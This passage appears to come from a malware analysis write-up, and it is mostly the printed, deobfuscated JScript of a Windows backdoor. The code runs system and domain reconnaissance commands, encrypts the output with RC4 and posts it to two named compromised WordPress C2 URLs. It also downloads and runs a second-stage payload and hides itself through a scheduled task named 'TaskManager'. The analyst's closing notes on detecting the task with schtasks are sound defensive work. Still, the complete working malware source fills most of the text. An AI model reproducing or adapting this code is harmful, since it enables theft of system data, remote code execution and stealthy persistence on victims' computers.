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";return qGxZ;}

An easy way to view the code a bit cleaner, is to print the code before the eval(ES3c);     with a WScript.Echo(ES3c)





Once done, I run the command with the proper string as I got the code:






function UspD(zDmy)
{var m3mH = WScript.CreateObject("ADODB.Stream")
m3mH.Type =2;
m3mH.CharSet ='437';
m3mH.Open();
m3mH.LoadFromFile(zDmy);
var c0xi = m3mH.ReadText;
m3mH.Close();
return cz_b(c0xi);
}

var CKpR =newArray ("http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php","http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php");
var tpO8 ="w3LxnRSbJcqf8HrU";
var auME =newArray("systeminfo > ","net view >> ","net view /domain >> ","tasklist /v >> ","gpresult /z >> ","netstat -nao >> ","ipconfig /all >> ","arp -a >> ","net share >> ","net use >> ","net user >> ","net user administrator >> ","net user /domain >> ","net user administrator /domain >> ","set  >> ","dir %systemdrive%\x5cUsers\x5c*.* >> ","dir %userprofile%\x5cAppData\x5cRoaming\x5cMicrosoft\x5cWindows\x5cRecent\x5c*.* >> ","dir %userprofile%\x5cDesktop\x5c*.* >> ","tasklist /fi \x22modules eq wow64.dll\x22  >> ","tasklist /fi \x22modules ne wow64.dll\x22 >> ","dir \x22%programfiles(x86)%\x22 >> ","dir \x22%programfiles%\x22 >> ","dir %appdata% >>");
var QUjy =new ActiveXObject("Scripting.FileSystemObject");
var LIxF = WScript.ScriptName;
var w5mY ="";
var ruGx = TfOh();


function hLit(XngP,y1qa)
{char_set ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var Rj3c ="";
var OKpB ="";
for (var i =0;
 i < XngP.length;
++i)
{var B8wU = XngP.charCodeAt(i);
var LUxg = B8wU.toString(2);
while (LUxg.length < (y1qa ?8:16))
LUxg ="0"+ LUxg;
OKpB += LUxg;
while (OKpB.length >=6)
{var vjUu = OKpB.slice(0,6);
OKpB = OKpB.slice(6);
Rj3c +=this.char_set.charAt(parseInt(vjUu,2));
}}if (OKpB)
{while (OKpB.length <6) OKpB +="0";
Rj3c +=this.char_set.charAt(parseInt(OKpB,2));
}while (Rj3c.length % (y1qa ?4:8) !=0)
Rj3c +="=";
return Rj3c;
}

var b92A = [];
b92A['C7']   ='80';
b92A['FC']   ='81';
b92A['E9']   ='82';
b92A['E2']   ='83';
b92A['E4']   ='84';
b92A['E0']   ='85';
b92A['E5']   ='86';
b92A['E7']   ='87';
b92A['EA']   ='88';
b92A['EB']   ='89';
b92A['E8']   ='8A';
b92A['EF']   ='8B';
b92A['EE']   ='8C';
b92A['EC']   ='8D';
b92A['C4']   ='8E';
b92A['C5']   ='8F';
b92A['C9']   ='90';
b92A['E6']   ='91';
b92A['C6']   ='92';
b92A['F4']   ='93';
b92A['F6']   ='94';
b92A['F2']   ='95';
b92A['FB']   ='96';
b92A['F9']   ='97';
b92A['FF']   ='98';
b92A['D6']   ='99';
b92A['DC']   ='9A';
b92A['A2']   ='9B';
b92A['A3']   ='9C';
b92A['A5']   ='9D';
b92A['20A7'] ='9E';
b92A['192']  ='9F';
b92A['E1']   ='A0';
b92A['ED']   ='A1';
b92A['F3']   ='A2';
b92A['FA']   ='A3';
b92A['F1']   ='A4';
b92A['D1']   ='A5';
b92A['AA']   ='A6';
b92A['BA']   ='A7';
b92A['BF']   ='A8';
b92A['2310'] ='A9';
b92A['AC']   ='AA';
b92A['BD']   ='AB';
b92A['BC']   ='AC';
b92A['A1']   ='AD';
b92A['AB']   ='AE';
b92A['BB']   ='AF';
b92A['2591'] ='B0';
b92A['2592'] ='B1';
b92A['2593'] ='B2';
b92A['2502'] ='B3';
b92A['2524'] ='B4';
b92A['2561'] ='B5';
b92A['2562'] ='B6';
b92A['2556'] ='B7';
b92A['2555'] ='B8';
b92A['2563'] ='B9';
b92A['2551'] ='BA';
b92A['2557'] ='BB';
b92A['255D'] ='BC';
b92A['255C'] ='BD';
b92A['255B'] ='BE';
b92A['2510'] ='BF';
b92A['2514'] ='C0';
b92A['2534'] ='C1';
b92A['252C'] ='C2';
b92A['251C'] ='C3';
b92A['2500'] ='C4';
b92A['253C'] ='C5';
b92A['255E'] ='C6';
b92A['255F'] ='C7';
b92A['255A'] ='C8';
b92A['2554'] ='C9';
b92A['2569'] ='CA';
b92A['2566'] ='CB';
b92A['2560'] ='CC';
b92A['2550'] ='CD';
b92A['256C'] ='CE';
b92A['2567'] ='CF';
b92A['2568'] ='D0';
b92A['2564'] ='D1';
b92A['2565'] ='D2';
b92A['2559'] ='D3';
b92A['2558'] ='D4';
b92A['2552'] ='D5';
b92A['2553'] ='D6';
b92A['256B'] ='D7';
b92A['256A'] ='D8';
b92A['2518'] ='D9';
b92A['250C'] ='DA';
b92A['2588'] ='DB';
b92A['2584'] ='DC';
b92A['258C'] ='DD';
b92A['2590'] ='DE';
b92A['2580'] ='DF';
b92A['3B1']  ='E0';
b92A['DF']   ='E1';
b92A['393']  ='E2';
b92A['3C0']  ='E3';
b92A['3A3']  ='E4';
b92A['3C3']  ='E5';
b92A['B5']   ='E6';
b92A['3C4']  ='E7';
b92A['3A6']  ='E8';
b92A['398']  ='E9';
b92A['3A9']  ='EA';
b92A['3B4']  ='EB';
b92A['221E'] ='EC';
b92A['3C6']  ='ED';
b92A['3B5']  ='EE';
b92A['2229'] ='EF';
b92A['2261'] ='F0';
b92A['B1']   ='F1';
b92A['2265'] ='F2';
b92A['2264'] ='F3';
b92A['2320'] ='F4';
b92A['2321'] ='F5';
b92A['F7']   ='F6';
b92A['2248'] ='F7';
b92A['B0']   ='F8';
b92A['2219'] ='F9';
b92A['B7']   ='FA';
b92A['221A'] ='FB';
b92A['207F'] ='FC';
b92A['B2']   ='FD';
b92A['25A0'] ='FE';
b92A['A0']   ='FF';


function TfOh()
{var ayuh =Math.ceil(Math.random()*10+25);
var name =String.fromCharCode(Math.ceil(Math.random()*24+65));
var dc9V = WScript.CreateObject("WScript.Network");
w5mY = dc9V.UserName;
for (var count =0;
 count <ayuh ;
count++ )
{switch (Math.ceil(Math.random()*3))
  {case1:
name = name +Math.ceil(Math.random()*8);
break;
case2:
       name = name +String.fromCharCode(Math.ceil(Math.random()*24+97));
break;
default:
        name = name +String.fromCharCode(Math.ceil(Math.random()*24+65));
break;
  }}return name;
}

var wyKN = Blgx(bIdG());

try
{var WE86 = bIdG();
rGcR();
jSm8();
}catch(e)
{WScript.Quit();
}



function jSm8()
{var c9lr = Fv6b();
while(true)
{for (var i =0;
 i < CKpR.length;
 i++)
{var Ysyo = CKpR[i];
var f3cb = XEWG(Ysyo,c9lr);

switch (f3cb)
{case"good":
break;
case"exit": WScript.Quit();
break;
case"work": XBL3(Ysyo);
break;
case"fail": tbMu();

break;
default:
break;
}TfOh();
}WScript.Sleep((Math.random()*300+3600) *1000);
}}function bIdG()
{var spq3=this['\u0041\u0063\u0074i\u0076eX\u004F\u0062j\u0065c\u0074'];
var zBVv =new spq3('\u0057\u0053cr\u0069\u0070\u0074\u002E\u0053he\u006C\u006C');
return zBVv;
}function XBL3(B_TG)
{var YIme =  wyKN + LIxF.substring(0,LIxF.length -2) +"pif";
var Kpxo =new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post",B_TG,false);
Kpxo.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1;
 Win64;
 x64);
"+ Sz8k());
Kpxo.SETREQUESTHEADER("content-type:","application/octet-stream");
Kpxo.SETREQUESTHEADER("content-length:","4");
Kpxo.SEND("work");
if (QUjy.FILEEXISTS(YIme))
{QUjy.DELETEFILE(YIme);
}if (Kpxo.STATUS ==200)
{var m3mH =new ActiveXObject("ADODB.STREAM");
m3mH.TYPE =1;
m3mH.OPEN();
m3mH.WRITE(Kpxo.responseBody);
m3mH.Position =0;
m3mH.Type =2;
m3mH.CharSet ="437";
var c0xi = m3mH.ReadText(m3mH.Size);
var ptF0 = FXx9("2f532d6baec3d0ec7b1f98aed4774843",cz_b(c0xi));
NoRS(ptF0,YIme);
         m3mH.Close();
}var ruGx = TfOh();
c5ae(YIme,B_TG);
WScript.Sleep(30000);
QUjy.DELETEFILE(YIme);
}function tbMu()
{QUjy.DELETEFILE(WScript.SCRIPTFULLNAME);
eV_C("TaskManager","Windows Task Manager",w5mY,v_FileName,"EzZETcSXyKAdF_e5I2i1",wyKN,false);
KhDn("TaskManager");
WScript.Quit();
}function XEWG(uXHK,hm2j)
{try
{var Kpxo =new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post",uXHK,false);
Kpxo.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1;
 Win64;
 x64);
"+ Sz8k());
Kpxo.SETREQUESTHEADER("content-type:","application/octet-stream");
var rRi3 = hLit(hm2j,true);
Kpxo.SETREQUESTHEADER("content-length:",rRi3.length);
Kpxo.SEND(rRi3);
return Kpxo.responseText;
}catch(e)
{return"";
}}function Sz8k()
{var n9mV ="";
var dc9V = WScript.CreateObject("WScript.Network");
var rRi3 = tpO8 + dc9V.ComputerName + w5mY;
for (var i =0;
 i <16;
 i++)
{var YsXA =0
for (var j = i;
 j < rRi3.length -1;
 j++)
{YsXA = YsXA ^ rRi3.charCodeAt(j);
}YsXA =(YsXA %10);
n9mV = n9mV + YsXA.toString(10);
}n9mV = n9mV + tpO8;
return n9mV;
}function rGcR() 
{v_FileName =  wyKN + LIxF.substring(0,LIxF.length -2) +"js";
QUjy.COPYFILE(WScript.ScriptFullName,wyKN + LIxF);
var HFp7 = (Math.random()*150+350) *1000;
WScript.Sleep(HFp7);
eV_C("TaskManager","Windows Task Manager",w5mY,v_FileName,"EzZETcSXyKAdF_e5I2i1",wyKN,true);
}function Fv6b()
{var m_Rr =  wyKN +"~dat.tmp";
for (var i =0;
 i < auME.length;
 i++)
{WE86.Run("cmd.exe /c "+ auME[i] +"\x22"+ m_Rr +"\x22",0,true);

}var nRVN = UspD(m_Rr);
WScript.Sleep(1000);
QUjy.DELETEFILE(m_Rr);
return FXx9("2f532d6baec3d0ec7b1f98aed4774843",nRVN);
}function c5ae(YIme,B_TG)
{try
{if (QUjy.FILEEXISTS(YIme))
{WE86.Run("\x22"+ YIme +"\x22" );
}}catch(e)
{var Kpxo =new ActiveXObject("MSXML2.XMLHTTP");
Kpxo.OPEN("post",B_TG,false);
var ePMy ="error";

Kpxo.SETREQUESTHEADER("user-agent:","Mozilla/5.0 (Windows NT 6.1;
 Win64;
 x64);
"+ Sz8k());
Kpxo.SETREQUESTHEADER("content-type:","application/octet-stream");
Kpxo.SETREQUESTHEADER("content-length:",ePMy.length);
Kpxo.SEND(ePMy);
return"";
}}function RPbY(r_X5)
{var w8rG="0123456789ABCDEF";
var yjrw = w8rG.substr(r_X5 &15,1);
while(r_X5>15)
{r_X5 >>>=4;
yjrw = w8rG.substr(r_X5 &15,1) + yjrw;
}return yjrw;
}function NptO(jlEi)
{returnparseInt(jlEi,16);
}function eV_C(Bjmr,RT6x,O7Ec,YBwP,T9Px,egNr,rmGH)
{try
{var BGfI = WScript.CreateObject("Schedule.Service");
BGfI.Connect();
var w2cQ = BGfI.GetFolder("WPD");
var xSm3 = BGfI.NewTask(0);
xSm3.Principal.UserId = O7Ec;
xSm3.Principal.LogonType =6;
var wK2F = xSm3.RegistrationInfo;
wK2F.Description = RT6x;
wK2F.Author = O7Ec;
var aYbx = xSm3.Settings;
aYbx.Enabled =true;
aYbx.StartWhenAvailable =true;
aYbx.Hidden = rmGH;
var oSP7 ="2015-07-12T11:47:24";
var svaG ="2020-03-21T08:00:00";
var LDoN = xSm3.Triggers;
var r9EC = LDoN.Create(9);
r9EC.StartBoundary = oSP7;
r9EC.EndBoundary = svaG;
r9EC.Id ="LogonTriggerId";
r9EC.UserId = O7Ec;
r9EC.Enabled =true;
var gQu9 = xSm3.Actions.Create(0);
gQu9.Path = YBwP;
gQu9.Arguments = T9Px;
gQu9.WorkingDirectory = egNr;
w2cQ.RegisterTaskDefinition(Bjmr,xSm3,6,"","",3);
returntrue;
}catch(Err) 
{returnfalse;
}}function KhDn(Bjmr)
{try
{var UGgw =false;
var BGfI = WScript.CreateObject("Schedule.Service");
BGfI.Connect()


var w2cQ = BGfI.GetFolder("WPD");
var FLs6 = w2cQ.GetTasks(0);
if (FLs6.count >=0) 
{var gk1H =new Enumerator(FLs6);
for (;
!gk1H.atEnd();
 gk1H.moveNext())
{if (gk1H.item().name == Bjmr)
{w2cQ.DeleteTask(Bjmr,0);
UGgw =true;
}}}}catch(Err)
{returnfalse;
}}function cz_b(S3Ws)
{var n9mV = [];
var mvAu = S3Ws.length;
for (var i =0;
 i < mvAu;
 i++)
{var wtVX = S3Ws.charCodeAt(i);
if(wtVX >=128)
{var h = b92A[''+ RPbY(wtVX)];
wtVX = NptO(h);
}n9mV.push(wtVX);
}return n9mV;
}function NoRS(ExY2,igeK)
{var m3mH = WScript.CreateObject("ADODB.Stream");
m3mH.type =2;
m3mH.Charset ="iso-8859-1";
m3mH.Open();
m3mH.WriteText(ExY2);
m3mH.Flush();
m3mH.Position =0;
m3mH.SaveToFile(igeK,2);
m3mH.close();
}function Blgx(gaWo)
{wyKN ="c:\x5cUsers\x5c"+ w5mY +"\x5cAppData\x5cLocal\x5cMicrosoft\x5cWindows\x5c";
if (! QUjy.FOLDEREXISTS(wyKN)) 
wyKN ="c:\x5cUsers\x5c"+ w5mY +"\x5cAppData\x5cLocal\x5cTemp\x5c";
if (! QUjy.FOLDEREXISTS(wyKN)) 
wyKN ="c:\x5cDocuments and Settings\x5c"+ w5mY +"\x5cApplication Data\x5cMicrosoft\x5cWindows\x5c";
return wyKN
}function FXx9(Z_3F,VMd7)
{var NNSX = [];
var JDro =0;
var KagY;
var n9mV ='';
for (var i =0;
 i <256;
 i++)
{NNSX[i] = i;
}for (var i =0;
 i <256;
 i++)
{JDro = (JDro + NNSX[i] + Z_3F.charCodeAt(i % Z_3F.length)) %256;
KagY = NNSX[i];
NNSX[i] = NNSX[JDro];
NNSX[JDro] = KagY;
}var i =0;
var JDro =0;
for (var y =0;
 y < VMd7.length;
 y++)
{i = (i +1) %256;
JDro = (JDro + NNSX[i]) %256;
KagY = NNSX[i];
NNSX[i] = NNSX[JDro];
NNSX[JDro] = KagY;
n9mV +=String.fromCharCode(VMd7[y] ^ NNSX[(NNSX[i] + NNSX[JDro]) %256]);
}return n9mV;
}

In the 'clean' code it is possible to see the URL for the second stage payload, which at the time of this analysis did not work anymore

"http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php",
"http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php


Additionally, the list of commands to map the system are in the code:

systeminfo > ","net view >> ","net view /domain >> ","tasklist /v >> ","gpresult /z >> ","netstat -nao >> ","ipconfig /all >> ","arp -a >> ","net share >> ","net use >> ","net user >> ","net user administrator >> ","net user /domain >> ","net user administrator /domain >> ","set  >> ","dir %systemdrive%\x5cUsers\x5c*.* >> ","dir %userprofile%\x5cAppData\x5cRoaming\x5cMicrosoft\x5cWindows\x5cRecent\x5c*.* >> ","dir %userprofile%\x5cDesktop\x5c*.* >> ","tasklist /fi \x22modules eq wow64.dll\x22  >> ","tasklist /fi \x22modules ne wow64.dll\x22 >> ","dir \x22%programfiles(x86)%\x22 >> ","dir \x22%programfiles%\x22 >> ","dir %appdata% >>");

 But the most interesting part is how the persistence is done, via a schedule Service (schedule task).




A schedule task with name "TaskManager" under a folder WPD is created.
This task executes when the user logs in and calls the JS code  c:\Users\user1\AppData\Local\Microsoft\Windows\maintools.js EzZETcSXyKAdF_e5I2i1.

With the Schedule Task tool from Windows, it is possible to spot it



A way to check it via the CMD line is dumping all the schedule tasks and exporting to a file. For example, with a command like this: 

schtasks /query /fo csv /v  > output.csv

Which permits to see the full schedule task:


